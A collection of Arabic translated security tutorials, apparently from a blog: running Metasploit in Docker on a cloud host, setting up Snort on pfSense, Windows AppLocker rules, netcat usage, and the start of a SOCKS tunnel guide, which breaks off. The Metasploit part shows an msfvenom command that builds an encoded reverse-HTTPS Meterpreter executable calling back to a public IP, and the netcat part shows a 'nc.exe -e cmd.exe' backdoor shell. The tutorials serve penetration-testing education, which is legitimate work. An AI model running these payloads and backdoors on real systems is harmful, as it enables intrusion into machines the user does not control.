في هذا المثال، قمنا بتوجيه Docker  لتشغيل تطبيق “remnux / metasploit” في transient container ، والذي سوف يختفي فور الخروج منه (وهذا  ما صمم “-rm” لأجله ) إن الخيار it  يسمح لك بالتفاعل مع ال Container باستخدام interactive shell. للتأكد من أن البيانات ذات الصلة انتشرت في جميع أنحاء Container invocation ، وقد استخدمنا  -v  لتحديد الإتجاهات  المضيف إلى المواقع  المقابلة داخل الContainer . الفكرة هي استخدام دليل “msf4./~” لملفات تكوين metasploit Framework   . إن مسار  “/tmp/msf” على المضيف يمكنه تخزين البيانات الأخرى التي قد ترغب في إلاحتفاظ بها ، مثل ال Artifacts  التي قد تحصل عليها من النظام المستهدف. إن محددات “-p”  او المنافذ  التي تتوقع الحصول على الاتصالات الواردة للمنافذ المقابلة  داخل ال Container . المثال أعلاه استخدمنا منفذ TCP 443 مع توقع اتصالات HTTPS  الواردة من reverse shells .

 

launching-metasploit-container-1024x372

 

الصورة  كبيرة جدا : أكثر من حجم 1.2GB ، لأنها تتضمن بيئة التشغيل كاملة  ل Metasploit Framework  ،  مع جميع توابعها. وستخزن مؤقتاً محلياً  بعد التحميل الأولي. إذا كنت ترغب في إعادة تحميل الصورة لضمان انك تستخدم أحدث إصدار استخدام أمر  “sudo docker pull remnux/metasploit”.

تم تهيئة  ال Container لتحديث وحدات metasploit  بشكل تلقائي  عند تشغيلها.  لإضافة وحدات خاصة بك ، اضفها  إلى دليل  المضيف الخاص بك  msf4./~

 

اختبار تشغيل  ال Metasploit Framework Container 

وهنا كيف يمكنك بدء التجارب مع Metasploit Framework   بعد تشغيل  “remnux / metasploit” container   في المختبر الخاص بك. سوف نتستهدف نظام Windows  ذي تكوين ضعيف في مختبرنا على سبيل المثال. سنتوجه Metasploit Framework  للاتصال عن بعد  بالنظام باستخدام بيانات الاعتماد التي زودناه بها، بدلا من استغلال الضعف فعلاً . بعد ذلك سنفتح  reverse HTTPS shell الى وحدة تحكم Metasploit Framework  الخاصة بنا.

 

msfconsole-inside-metasploit-container-1024x807

في الشكل أعلاه، قمنا بتشغيل اداة metasploit   msfconsole ، ثم وجهناها  لتعطينا  meterpreter shell  فعالة للنظام  المستهدف . وقد جرى الاتصال عبر HTTPS ، التي كانت موجهة إلى metasploit Framework  Container  عبر برنامج التعاون TCP  443. ان لقطة الشاشة التي حفظناها باستخدام هذه الجلسة وضعت في دليل بيانات / tmp / داخل Container . عندما خرجنا من ال Container ،  فإن محتويات ذاك الدليل بقيت على  المضيف الأساسي الخاص بنا في مسار  tmp/msf/

 

تشغيل Metasploit Framework Container  في ال public cloud :


عند إجراء اختبار الاختراق، سترغب حتماً  في تشغيل Metasploit على نظام متصل بشبكة الإنترنت. يمكنك القيام بذلك بسهولة تامة من خلال إنشاء خادم مؤقت مع بعض مزودي public cloud  ، ثم تشغيل  Metasploit Framework Container  على ذاك المضيف.
على سبيل المثال، هنا  كيف يمكن تحقيق ذلك باستخدام DigitalOcean، الذي نود أن نستخدمه بسبب انخفاض التكلفة والموثوقية العالية. على الرغم من ان  DigitalOcean  يدير الأجهزة الظاهرية ب 5 $ شهريا فقط ، وجدنا ان هذا النظام ينتهي به الحال  بذاكرة RAM غير كافية لMetasploit. لذلك، قمنا بوضع خيار ال  10 $ شهرياً لمضيف Ubuntu.

 

digital-ocean-choose-a-size-1024x225 (1)

 

سرعان ما يتم تنشيط النظام الجديد، يمكنك تسجيل الدخول إليه وتنفيذ الأوامر التالية لتثبيت Docker container على المضيف:

apt-key adv –keyserver hkp://p80.pool.sks-keyservers.net:80 –recv-keys 58118E89F3A912897C070ADBF76221572C52609D
add-apt-repository -y “deb https://apt.dockerproject.org/repo ubuntu-$(lsb_release -sc) main”
apt-get update
apt-get -y dist-upgrade
apt-get -y install docker-engine

بعد ذلك، يمكنك توجيه؛ Docker container  لتحميل وإطلاق  Metasploit Framework Container باستخدام الأمر مثل الموجود في بداية هذه المقالة.

sudo docker run –rm -it -p 443:443 -v ~/.msf4:/root/.msf4 -v /tmp/msf:/tmp/data remnux/metasploit

 

على سبيل المثال، قررنا استخدام Metasploit لإنشاء ملف قابل للتنفيذ و مستتر و مستقل، والذي نود تشغيله  على نظام ويندوز المستهدف لمحاكاة سيناريو حيث يتم خداع الضحية بتشغيل البرامج الخبيثة. قمنا بتشغيل  أداة “msfvenom” داخل  Metasploit Framework Container  لتحقيق ذلك:

msfvenom -a x86 –platform windows -p windows/meterpreter/reverse_https LHOST=104.236.213.164 LPORT=443 -e x86/shikata_ga_nai -f exe -o file.exe

 

بما ان الدليل الحالي داخل ال Container  هو بيانات /Tmp / بشكل افتراضي، فقد تم وضع الملف الناتج هناك. لأننا عيينا هذا الدليل إلى دليل /tmp/msf directory,  المضيف، كنا قادرين على اخذه من هناك ونقله إلى مختبر اجهزة Windows الخاصة بنا .

ثم شغلنا  “msfconsole” داخل ال Container  ووجهنا الأداة لاستخدام معالجات / متعددة ، والذي تم تصميمه لقبول الاتصالات الناشئة  خارج واجهة “msfconsole”. حالما تم تفعيلreverse-HTTPS listener  قمنا ب “بإصابة ”  نظام Windows الخاص بنا مع file.exe التي تم إنشاؤها سابقا، والذي أتم الاتصال، وزودنا ب Meterpreter shell .

 

msfconsole-multi-handler-public-cloud-1024x511

وكما كان الحال في المثال السابق، فقد قمنا بحفظ لقطة الشاشة من نظام ويندوز إلى  بيانات / tmp / ، والتي تسمح لي الاحتفاظ بها حتى بعد إنهاء ال Container .

قدرات إضافيه لل Containers 

ويشمل  Metasploit Framework Container أيضا  أداة المسح الضوئي Nmap  ، والتي يمكن تشغيلها باستخدام أمر  “NMAP”. فإنها توفر وسيلة قوية لفحص الشبكات وألانظمة لتحديد اين يحتمل وجود ضعف ولتحديد مكان تركيز جهود Metasploit الخاص بك. ويشمل ال Container أيضا NASMdisassembler.
وبالإضافة إلى ذلك يتضمن ال Container  أداة tmuxterminal multiplexer . والتي  تسمح لك بإطلاق عدة نوافذ “افتراضية” داخل single terminal window.  تكوين ال Container  لهذه الأداة CTRL + A كمفتاح الأوامر، بدلا من الافتراضي السيطرة CTRL +B. للاستفادة منه، اكتب “tmux” بعد تشغيل Metasploit Framework Container  .  وسوف يعطيك shell  داخل أحدى نوافذ الأداة “الإفتراضية”. لفتح واحد آخر، اضغط Ctrl +a  يليه “c”. للتبديل بين النوافذ اكتب  CTRL +a  يليه رقم تلك النافذة (مثل Ctrl + وتليها “0” أو “1”).
على سبيل المثال، يمكنك استخدام tmux لتشغيل Nmap في نافذة واحدة وmsfconsole في نافذة آخرى. يمكنك قراءة البرنامج التعليمي حول كيفية استخدام tmux للبدء مع هذه الأداة

 

tmux-nmap-in-metasploit-container-1024x601

في الختام : 


Docker containers توفر وسيلة مريحة لتشغيل Metasploit Framework  دون الحاجة للتعامل مع تثبيت رمز الأداة وتبعياتها. تشغيل Metasploit بهذه الطريقة مفيد خاصة في الحالات التي ترغب في نشرها بسرعة إلى النظام الجديد، مثل التي يتم تشغيلها  في public cloud ، ومن ثم انهاء السيرفر دون أن تفقد التخصيصات أو البيانات الخاصة بك. من ناحية أخرى، فإن هذا النهج يتطلب بعض الألفة مع Docker container .
يرجع الفضل ل Jean Christophe Baptiste لإنشاء  والحفاظ على ال Dockerfile وملفات التكوين المقترنة التي تستند إليها  صورة “remnux / metasploit”.

ترجمة لمقال : Run Metasploit Framework as a Docker Container Without Installation Pains لصاحبها Lenny Zeltser

مقال :كيفية تثبيت و إعداد Snort على PFsense Firewall

$
0
0

Snort هو برنامج شهير ومفتوح المصدر (IDS / IPS)  والذي يتكامل مع العديد من توزيعات  Firewall  مثل IPfire، Endian وPfSense. في هذه المقاله، تركيزنا سيكون على التثبيت/ Installation ، تكوين برنامج Snort  وقواعد  PfSense firewall  .

 يحتاج برنامج Snort  لـ pf)  packet filter firewall)  لتوفير ميزة IPS التي تتوفر أيضا في PFsense .

Installation /التثبيت :


جميع البرمجيات من  Pfsense Firewall تتوفر في قائمة الحزم الفرعية  . اذهب إلى قائمة النظام وحدد الحزم من القائمة المنسدلة

packages1

انقر على تبويب الحزم المتاحة  لفئات مختلفة من  البرمجيات

availablepackage

 

الحزم المتاحة تظهر خيارات القائمة الفرعية. Snort  هو أداة أمنية مفتوحة المصدر، لذلك انقر على القائمة الأمنية إلى أسفل قائمة الحزم المتوفرة من أجل التثبيت على PfSense.

 

availablepackage-options

 

حزمة Snort  متوفرة تحت  قائمة الأمن الفرعية . الآن انقر على  أيقونة  icon_plus لتثبيت Snort 

 

icon-snort

 

تثبيت أي حزمة جديدة على Pfsense، يتطلب تأكيدا من مسؤول Firewall  المبين أدناه

 

confirm

 

بعد التأكيد، تظهر عملية تثبيت  Snort  في الصورة التالية

 

snort-installation-1

 

تثبيت Snort مبين أدناه ويعطى أيضا المزيد من التعليمات لمزيد من الإعداد.

 

snort-installation-complete

 

تعليمات الاعداد الخاصة بـ Snort في الشكل أعلاه

 اعداد Snort :


 

بعد  عملية التنصيب   على Pfsense،  الآن سوف  نقوم بتكون Snort على كرت الشبكة المحلية للقيام بمسح للكشف عن المنفذ. بعد عملية التنصيب سوف يكون Snort  متاح في قائمة الخدمات . 

snort-in-services-menu

 

اتبع الصورة التالية بعد النقر على قائمة  snort الفرعية 

 

services-all-menu

 

يتم  التشغيل إما على واجهة شبكة LAN أو WAN من Pfsense. لذلك علينا  إنشاء إعدادات واجهات  شبكات lan و wan عن طريق النقر على أيقونة  icon_plus

 

snort-interfac-setting

 

إعدادات واجهة الشبكة المحلية LAN مبينة أدناه. قمنا بفحص  خيارات IPS  مثل block offenders

 

snort-interface-setting-lan

 

تم اضافة الواجهة إلى الشبكة المحلية LAN و snort  ليس قيد التشغيل عليها  حالياً. انقر على علامة زر (X)  لبدء خدمة snort ids  على  واجهة الشبكة المحلية “LAN” 

 

snort-interface-added

 

كما هو مبين في اللقطة التالية فإن Snort  قيد التشغيل على واجهة LAN

 

snort-interface-running

 

يظهر إعلان تحذيري في الشكل أعلاه. لذلك فإن قواعد  Snort ينبغي أن تضاف  بعد خطوة تحديث القواعد

الشاشةالتالية  تظهر بعد النقر على قائمة الإعدادات  العامة من تثبيت القواعد ل Snort.

 

snort-rules-under-global-setting

 

سجل الدخول على  موقع  snort وابحث عن  onikcode لتحميل قواعد  “Snort VRT”

oinkcode-1024x254

 

انقر على oinkcode على الجانب الأيسر للحصول على oinkcode.

 

oinkcode-code

 

اذهب مرة أخرى إلى قائمة الإعدادات العامة وأدخل Oinkcode لتحميل قواعد Snort VRT

 

enter-oinkcode-on-snort-setting

 

الآن اذهب إلى قائمة التحديثات للتحقق من حالة  القواعد المختلفة. انقر على زر Update لتحميل أو تحديث قواعد Snort  على Pfsense.

 

updates-menu

 

انقر على زر التحديث لتثبيت القواعد على Snort .  خطوة تحديث القاعدة مبينة في الشكل أدناه . لقد قمنا بتثبيت Snort community, VRT, emerging threats rules

 

updates-rules

 

قبل الإنتقال  إلى القائمة التالية من Snort ، اضغط مرة ثانية على علامة تبويب واجهات Snort  واختر LAN للتحرير

 

lan-interface

 

بعد النقر على زر تحرير، اختر فئة خيار LAN لقواعد Snort . حدد قواعد مرغوب فيها “desirable rules”  من القائمة الشاملة لواجهة LAN

 

snort-rules

 

بعد تثبيت قواعد snort على Pfsense، الخيار التالي هو قائمة التنبيهات.

 

alerts

 

SNORT  مع حزمة التصفية  (filter ) يعطي القدرة على حجب عناوين ، IP الخبيثة.  سيتم عرض عناوين IP المحضورة في اللقطة التالية

blocked

 

ومن الشائع جدا على الشبكة أن المسؤول  يضع قائمة بعناوين ال IP’s  الآمنة والمسموح بها . بشكل افتراضي  فإن LAN المحلية عادة ما تكون في القائمة المسموح بها

 

pass-list

قائمة الحظر مبينة  في اللقطة التالية.وهي تستخدم لمنع التنبيهات إلايجابية الكاذبة

 

suppress

يمكن تحميل قائمة بعناوين Ip الخبيثة  على pfsense في تكوين Snort . تخزن الحركات  الواردة  من عناوين ip في reputation list   بإعتبارها خبيثة

ip-list1

إلاعدادات لتوقيعات  SID) ID)  لقواعد Snort  تدار باستخدام هذه القائمة.

sid-mgmt

الأعدات المتصلة بإدارة السجلات  ترد في القائمة التالية

 

log-management1

في الختام.. 

في هذه المقاله ، قمنا بإكتشاف  Snort IDS / IPS والذي يعد برمجية أمنية مفتوحة المصدر متكاملة مع Pfsense Firewall  . يعمل Snort  تماما مع حزمة التصفية (pf)  اعتماداً على الFirewall . ميزة IPS من Snort أنها  تحظر  عناوين IP’s الخبيثة أو غير القانونية لحماية الشبكة. وهي  مستقرة جدا على Pfsense Firewall  ويمكن اعدادها بسهولة باستخدام واجهة رسومية.

ترجمة لمقال : How to Install and Configure Snort on PFsense Firewall


مقال: نظره على Windows app locker

$
0
0

Windows applocker هي الميزة التي قدمت في Windows 7  و Windows Server 2008 R2 كوسيلة للحد من استخدام التطبيقات  الغير مرغوب فيها . يزود applocker الإداريين بميزة  تحديد المستخدمين الذين يمتلكون القدرة على  تشغيل تطبيقات محددة.

وقد تم تصميم AppLocker ليحل محل البرنامج المقيدة ذات سياسات الخصوصية . وهو يعتبر أداة قوية لجعل بيئات العمل أكثر أمانا. ولكن غالبا ما تسمع شكاوى أنه ليس مرنا بما فيه الكفاية بالنسبة لمعظم المنظمات. من ناحية أخرى فإنه الأداة التي يمكن استخدامها من قبل المستخدمين المنزلين المتطورين على حد سواء

 

secpol

ما هو الأساس الذي تقوم عليه القواعد الخاصة بنا؟:


 

من جهة، Windows  AppLocker يعمل فقط على أنواع معينة من الملفات وليس جميعها . يمكن انشاء  قواعد الملفات مع هذه الملحقات:

  • exe  and com  :Executables
  • Js, ps1, vbs, cmd and bat  :Scripts
  • msi and msp  :Windows installer files
  • dll and ocx :Dynamic-link libraries   (يجب تمكين مجموعة القواعد هذه حيث انها لا تكون ممكنة افتراضيا)
  • aappx  :Packaged  app Rules  windows 8 &  10 only

   يمكن ان تعتمد القواعد على العديد من  خصائص الملفات، على سبيل المثال اسم الملف او  اسم المنتج  أو ” تم توقيعه من قبل.. “. وحتى  عن طريق ال   file-hash إذا كان الملف ليس موقعاً . ومن ناحية أخرى، يمكن للقواعد الاستناد إلى مجموعات المستخدمين أو على المستخدمين الفرديين.  الأنواع الأساسية  من القواعد يمكن تعريفها ب  black- white -lists ، ولكن مع استخدام الاستثناءات يمكن تحويلها بسهولة إلى شيء أكثر  قوة من ذلك بقليل

 

blockedmanually

 طرق الإستخدام :


   كما قد وجد بعض مسؤولي النظام ، أنه  يمكنك على الفور فرض القواعد الخاصة بك والحصول على واجهة بعض المستخدمين  المستائين للغاية ألذين لم يعد بإمكانهم استخدام برامجهم المفضلة بعد الآن  . وتخطي التعرض  لهذه الحوادث يكون  من  خلال فرض مجموعة من القواعد ذات وسيلة واحدة للاستخدام، وهناك أيضا ما يسمى Audit” mode” : عندما يتم تعيين مجموعة القواعد الى

 Audit Only” mode”، بدلا من فرض القواعد فإن المعلومات المتعلقة بالقاعدة والتطبيق  يتم كتابتها  في سجل أحداث AppLocker. وعلى حد سواء  يتم استخدام Audit” mode”  في محاولات التنبؤ بتأثير  القواعد قبل فرضها وللكشف عن التطبيقات القيد الاستخدام. معرفة اي  التطبيقات نشطة أزال الحجاب عن الكثير من النشاطات  وحتى أنه ادى إلى اكتشاف البرامج الضارة النشطة  

قواعد الإنشاء :


      AppLocker Microsoft Management  ” MMC” Consol snap-in   هي وحدة التحكم المخصصة لإنشاء القواعد. لفتح الأداة الإضافية snap-in يمكنك تشغيل “secpol.msc” وانتقل إلى “سياسات التحكم في التطبيق” وحدد “AppLocker”. الآن يمكنك تحديد نوع  القواعد الذي ترغب في إنشائه عن طريق تحديد الفئة في الجهة اليمنى

filetypes

بالنقر بزر الماوس الأيمن في حقل النتائج يمكنك اختيار “إنشاء قاعدة جديدة”.

newrule

امثلة:


دعونا ننشئ قاعدة كمثال على ذلك. سنستخدم البرنامج الخبيث الذي يصف هنا نقطة الانطلاق وسنحاول منعه من التشغيل. يرجى ملاحظة أن القواعد يتم فرضها افتراضيا، وإذا كنت جديدا على ذلك، قم بتجربته  في Audit mode  أولا. سيكون هدفنا هو منع الملفات التنفيذية التي تبقيها البرمجيات الخبيثة في ملف  “C:\a“. الخطوات المذكورة هنا تأتي بعد اختيار “إنشاء قاعدة جديدة” تحت عنوان “قواعد للتنفيذ

يمكنك بسرعة قراءة شاشة  “Before you start ” . بما اننا نحاول وقف البرامج الضارة فلن “نثبت التطبيقات التي نرغب في إنشاء قواعد لها  على هذا الكمبيوتر”، انقر فوق “Next” عند الانتهاء من القراءة.

 

example1

 

في شاشة “permissions ” نحن بصدد التحقق من “Deny” و “Everyone ” لأننا نريد أن يتوقف شيء بغض النظر عمن يعطي ألاوامر لذلك

 

example2

 

انقر على زر “Next” للانتقال إلى شاشة “conditions “، حيث سوف نتحقق من  “path” وننقر على زر “Next”

 

example3

 

وبما أننا لم نقم بتثبيت البرامج الضارة سيكون علينا ملئ المسار يدويا. ونصيحتنا هي النقر فوق ” “…Browse Folders ” واختيار “القرص المحلي   ”  (:C)”. ثم اضف يدويا “a \”  ما بين المسارات الناتجة، بحيث يبدو المسار الكامل كهذا القبيل:      “٪ OSDRIVE٪ \ A \ *”. وهذا يعني أن كل ملف قابل للتنفيذ في المجلد “a” أو أي من مجلداته الفرعية سيتم إيقاف تشغيله.

 

example4

 

انقر على زر “Next” و افعل الشيء نفسه في شاشة “Exceptions ” حيث اننا  لن نضيف أي استثناءات

 

example5

 

في  شاشة “Name anf Description ” يمكنك تسمية القاعدة مما يجعل استكشافها أسهل إذا كان لديك الكثير من القواعد وحتى انه يتم حظر أي  شيء غير مرغوب فيه. انقر فوق “Create ” لاستكمال عملية إنشاء القاعدة الجديدة

 

example6

 

إذا كانت هذه القاعدة الأولى لك فسوف يسألك  إذا كنت ترغب في إنشاء قواعد افتراضية أيضا. لهذا ينصح  بها لأنها مصممة لمنعك من إخراج  نفسك من البرامج والتطبيقات التي قد تحتاجها.

 

example7

 

وسوف نرى الآن القواعد التي تم إنشاؤها حديثا في شاشة “Local Security Policy ”

 

example8

 

ولكن الأمر لم ينته بعد. لفرض القواعد فإن تطبيق Identityservice  يحتاج إلى التشغيل. إذا لم يكن نشطا،  قم بتشغيل “services.msc” اعثر على الخدمة و”ابدأها” . إذا كنت تريد يمكنك النقر بزر الماوس الأيمن فوق الخدمة، واختر “properties ” وحدد “Automatic   “كنوع بدء التشغيل”. وهذا سيوفر عليك الجهد من الحاجة إلى القيام بذلك يدويا في كل مرة. ولوضع اللمسات الأخيرة تحتاج إلى تشغيل الأمر “GPUPDATE” من شاشة “Run” أو من “Commands promote ” لتحديث السياسات.

 

example9

 

بعد تشغيل مثبت البرمجيات الخبيثة يمكن أن نرى في  “Eventviewer” > “Applications and Services Logs” > Microsoft” > “Windows” > “AppLocker” > “EXE and DLL”

أنه على الرغم من اننا تركنا المثبت يضع جميع ملفاته  في a folder فقد تم منع العنصر الرئيسي “WINCHECKFE.EXE” من التشغيل. 

 

 

blocked1

 

blocked2

 

الملخص:


تحدثنا بإختصار عن الإمكانيات  التي يوفرها applocker Windows  . وقمنا بمناقشة الخيارات و short-comings ، على أمل ان  نعطيك فكرة ما إذا كان يمكنك استخدامها. وأيضا قدمنا  مثالاً خطوة بخطوة  عن كيفية إنشاء واستخدام القاعدة.

ترجمة لمقال : Windows AppLocker: An Introduction

مقال : شرح أداة netcat وإستخدامها في أمور متقدمة

$
0
0

كُمختبر إختراق يجب عليك أن تكون مُتمارس في إستخدام العديد من الأدوات مع فهم ألية عملها بشكل سليم ، وهذا ما نحاول أن نقوم بفعله داخل iSecur1ty من خلال العديد من المقالات والفيديوهات التي تختص بشكل كامل بشرح الأداة والمفهوم الخاص بها بالشكل المطلوب.

في مقال اليوم بإذن الله سوف نتكلم عن أداة ncat وهي إصدار مطور ومُحدث من الأداة “nc” الأصلية ، هذه الأداة من أكثر الأدوات شُهره مجال إختبار الإختراق ولها العديد والعديد من الإستخدامات التي تُساعد مُختبر الإختراق بشكل كامل ومُباشر على إتمام الكثير من العمليات كنقل الملفات عبر الشبكة ، التواصل مع الأجهزة بشكل مُباشر ، تنفيذ أوامر عن بعد على بعض الأجهزة والعديد لذلك سمُيت بـ “the swiss army knife” أي سكين الجيش السويسري لأنها تُشبه هذه السكين مُتعددة الإستخدامات 😀

SAK

قبل أن نبدأ تأكد أنك قُمت بتنصيب النسخة المُحدثة من ncat والتي تجد وصف كامل عنها من خلال هذا الرابط.

أحببت أن أقوم بشرح الإصدار المُطور لما فيه من خواص جديدة و

سوف نبدأ بالتحقق من إصدار الأداة ، ولكن قبل ذلك يجب علينا أن نفهم أن هنالك العديد من الأوامر كما ذكرت مُسبقاً لهذه الأداة وسوف نقوم هُنا بذكر بعض السيناريوهات الحقيقية المُستخدمة في الشبكة في عملية نقل الملفات وتنفيذ الأوامر على سبيل المثال ، وهذه نتيجة تنفيذ الأمر المُخصص لإستخراج إصدار الأداة :

Ncat-version

وكما نرى أنه فور إستخدام الأمر :

ncat -v

تم طباعة إصدار البرنامج وهو 6.40 وأيضاً تم طباعة الرابط الخاص بالأداة والذي تم ذكره مُسبقاً.

الأن دعونا نستعرض سريعاً الخيارات الخاصة بالبرنامج ، وهذا يتم من خلال تطبيق الأمر :

ncat -h

وسوف تكون نتيجة تنفيذ هذا الأمر كالتالي :

Ncat-help1

Nc-help2

كما نرى هُنالك العديد والعديد من الخيارات التي يُمكن إستخدامها ، وفي هذا المقال سوف نذكر بعض السيناريوهات الرئيسية والأمور التي من المُمكن أن نقوم بتنفيذها مثل :

  1. التوصل بالأجهزة بإستخدام ncat.
  2. عمل listening على منفذ مُعين.
  3. تشفير الإتصال بإستخدام ncat.
  4. إستخدام ncat كـ Backdoor لتنفيذ الأوامر.
  5. نقل الملفات من خلال ncat.

والأن سوف نبدأ بتنفيذ هذه السيناريوهات بشكل مُنتظم ونبدأ بالسيناريو الأول.

التوصل بالأجهزة بإستخدام ncat :

يُعتبر التوصل بالأجهزة ومُخاطبتها بإستخدام ncat سهل جداً ومن الأمور البسيطة والتي لا تحتاج أي أوامر معقدة ، فقط عليك تمرير host and port المُراد التوصل بهما وسوف تتم العملية بسهولة ودون مشاكل ، بالطبع يمكنك الإستعانة ببعض الخواص كإظهار النتائج التي تتم من خلال التواصل أو تشفير الإتصال وسوف نأتي لكل واحده على حدى بإذن الله ، الأن سوف نستخدم الأمر التالي للتوصل بهدف مُعين :

natc host port -v

Ncat-connection-open

كما نرى تم التوصل بالهدف دون مشاكل وعلى المنفذ 80 وهذا يُثبت أن المنفذ مفتوح ، طبعاً إستخدمنا الخيار -v وهو إختصار لـ verbose ويُستخدم لإظهار نتيجة العملية ، ويُمكنك إستخدام -vv لإظهار النتائج بشكل مُفصل أكثر.

وهذه تكون النتيجة في حال كان المنفذ مُغلق :

Ncat-connection-Closed

كما نرى أن المنفذ مُغلق من خلال إستجابة البرنامج بـ Connection refused.

عمل listening على منفذ مُعين :

من الأمور التي نستطيع تنفيذها من خلال ncat هو عمل listening أو ما يُعرف بالإستماع إلى منفذ معين لإستقبال الإتصال من خلاله ، وهذا بالطبع من الأمور الضروري تنفيذها في حال كُنا نقوم بتنفيذ إتصال بين جهازين من خلال ncat ، حيث أن الجهاز الأول يجب أن يقوم بإنتظار الإتصال على منفذ مُعين لكي يقوم الجهاز الثاني بتنفيذ الإتصال والتواصل معه بشكل مُباشر ، لذلك هذه العملية بسيطة جداً ونستطيع تنفيذها من خلال ncat بإستخدام الامر :

ncat -l -p port -v

حيث أن الخيار -l لكي نُخبر ncat بأننا نُريده في وضع الإستماع ، والخيار -p لكي نُحدد منفذ مُعين وسوف تكون النتيجة كما التالي :

Ncat-listen-to-port

كما نرى بأن ncat قامت ببدأ التنصت “الإستماع” إلى المنفذ 7070 وهي جاهزة الأن لإستقبال الإتصال من خلاله ، ويُمكنكم تنفيذ الأمر الأول الخاص بالتوصل بهدف مُعين للتوصل بهذا المنفذ.

قمت بإستخدام Localhost للأغراض التعليمية فقط ، تستطيعون عمل Listen على أي جهاز على الشبكة والتوصل به.

تشفير الإتصال بإستخدام ncat :

في حال مثلاً قمنا بالتوصل بالهدف السابق وقمنا بإرسال معلومات مُعينة من خلاله ، فإنه بالحالة الطبيعية لا يتم تشفير البيانات أثناء نقلها ، مما قد يُسبب لنا العديد من المشاكل في حال تم إعتراض هذا الإتصال ومعرفة المعلومات الحقيقية التي يتم إرساله ، ولكن ncat توفر لنا خاصية تشفير هذه البيانات التي يتم إرساله بكل سهولة من خلال ssl ، حيث نستطيع الأن نقل المعلومات بكل سهولة بين جهازين بشكل مُشفر ونستطيع تنفيذ تشفير الإتصال بكل بساطة من خلال الأمر :

ncat -l -p port -v -ssl

هذا بالنسبة للجهاز الأول وهو الذي نُريد التوصل به ولنتفرض بأنه الـ “Server” ، وعلى الجهاز الثاني ولنتفرض بأنه الـ “Client” سوف نقوم بتنفيذ هذا الأمر :

ncat host port -v -ssl

حيث أن الأمرين السابقين من خلالهما نستطيع التواصل بإستخدام ssl وهذه الصور تُوضح المفهوم التي تحدثنا عنه :

Ncat-SSL

نرى بالقسم الأعلى من الصورة أننا قُمنا بتنفيذ الأمر الأول والخاص باستقبال الإتصال على المنفذ 7070 ، وبالجزء الأسفل قمنا بعمل الإتصال وتم الإتصال بنجاح وأرسلنا النص “Hi This is My Text”.

كتمرين لكم ولتمكين الفكرة بشكل أكبر أتمنى منكم مُقارنة الإتصال المُشفر مع غير المُشفر من خلال Wireshark ومُشاركتنا النتيجة 😉

إستخدام ncat كـ Backdoor لتنفيذ الأوامر : 

من أحد الإستخدامات الرائعة لأداة Ncat بأننا نستطيع إستخدامها كـ Backdoor نستطيع من خلاله تنفيذ الأوامر على جهاز ما في حال كُنا نصبنا عليه ncat من قبل ، وهذه العملية مُفيدة في مرحلة الـ Post exploitation ، حيث نستطيع إستخدامها لتمكين الإتصال مع الهدف ، وسوف نقوم بشرح العملية على جهاز windows7 حيث سوف نقوم بتشغيل ملف nc.exe كـ “Agent” على جهاز windows7 ونقوم بالتنصت على منفذ مُعين مع إستخدام الأمر -e الخاص بتمرير الإتصال عبر أمر مُعين ، وفي حالتنا سوف يكون cmd.exe وهو الـ command line الخاص بنظام windows ، وسوف يكون الأمر المُنفذ على جهاز windows7 كالتالي :

nc.exe -l -p 7070 -e cmd.exe

وهذه الصورة توضح نتيجة تنفيذ الأمر :

windows-nc-agent

وعلى جهاز المُهاجم “client” سوف نقوم بالتوصل بشكل طبيعي بالمنفذ 8080 والذي سوف ينتج عن التالي :

Ncat-attacker-done

كما نرى تم التوصل بالهدف دون أي مشاكل ، وحصلنا على remote shell بإستخدام netcat فقط بين الجهازين.

نقل الملفات من خلال ncat : 

من الأمور الجيدة التي نستطيع تنفيذها من خلال ncat هي نقل الملفات بين جهازين ، سوف نقوم الأن بمحاولة نقل ملف من جهاز Windows7 إلى جهاز Linux بإستخدام nc.exe الموجوده على Windows7 وإستخدام ncat الموجوده على Linux ، حيث أن الأوامر سوف تكون كالتالي :

بالنسبة لجهاز Linux والذي يمُثل الجهاز الذي سوف يتم إستقبال الملف عليه :

ncat -l -p port > file_output.txt

Linux-file-transfer

بالنسبة لجهاز Windows7 والذي يمُثل الجهاز الذي سوف يتم إرسال الملف منه :

nc.exe host port < file.txt

windows7-file-transfer

كما نرى أنه يتم نقل الملف a.txt والذي يحتوي على النص الظاهر بالشاشة إلى الجهاز الخاص بنا والذي يُسمى file_output.txt ، وبعد إستقال الملف و إستعراضه سوف نرى أن النتيجة كالتالي :

Nc-Linux-tranfer

Nc-Transfer-Result

كما نرى بأنها نفس النتيجة بالملفين الذي تم إرساله وإستقباله.

نستطيع بالطبع القيام بالعديد من الأمور الأخرى بإستخدام ncat ولكن أحببت أن أريكم بعض الأمور التي نستطيع القيام بها لتسهيل عملية التواصل مع الأجهزة في عملية إختبار الإختراق.

أتمنى أن يكون هذا المقال قد نال إعجابكم ونلتقي بمقالات قادمة بإذن الله.

مقال : استخدام SOCKS Tunnel لتمرير البيانات بشكل امن

$
0
0

أحيانا تكون على شبكة غير آمنة أو جدران الحماية فيها مقيدة للشبكة ،  وانت بحاجة للوصول إلى موقع على شبكة الانترنت. وتريد التاكد من ان لا أحد في المنتصف  يراقب حركة المرور.

احد الحلول وهو ان تستخدم  VPN، ولكن العديد من الVPNs تتطلب برنامج عميل خاص على جهازك، والذي قد لا تملك الحق بتثبيته .

إذا كان كل ما تحتاج تأمينه هو  تصفحك للويب ، هناك بديل بسيط وهو “SOCKS 5 proxy tunnel”

SOCKS proxy  هو في الأساس  SSH tunnel  حيث تقوم تطبيقات محددة بإعادة توجيه حركة مرورها  الى الـTunnel  ثم   إلى الخادم، ثم يقوم الخادم بتوجيه حركة المرور إلى الإنترنت. على عكس VPN، فإن SOCKS proxy لابد من تهيئته على على جهاز العميل وبدون برامج خاصة .

طالما لديك Droplet  مع صلاحية وصول الى  SSH، فيمكنك استخدامه بمثابة نقطة نهاية SOCKS proxy . في هذه المقالة سوف نستخدم Ubuntu 14.04 Droplet  ك proxy ، ومتصفح الإنترنت Firefox  كتطبيق العميل. بحلول نهاية هذه المقالة يجب أن تكون قادرا على تصفح مواقع الويب بشكل آمن من خلال ال  Tunnel.

 

المتطلبات:


كما ذُكر أعلاه، فإن أول شيء نحتاجه هو خادم يستطيع تشغيل أي نوع من Linux ، مثل Ubuntu 14.04, with SSH access.
بقى القليل من الإعدادات المطلوبة على جهازك المحلي. لهذا ستحتاج إلى تحميل واحد أو اثنين من  البرمجيات .

  • Firefox web browser .
  • PuTTY (مستخدمي ويندوز)    

 Firefox  يسمح لك بتعيين proxy ل Firefox فقط بدلا من وضع System_wild proxy .

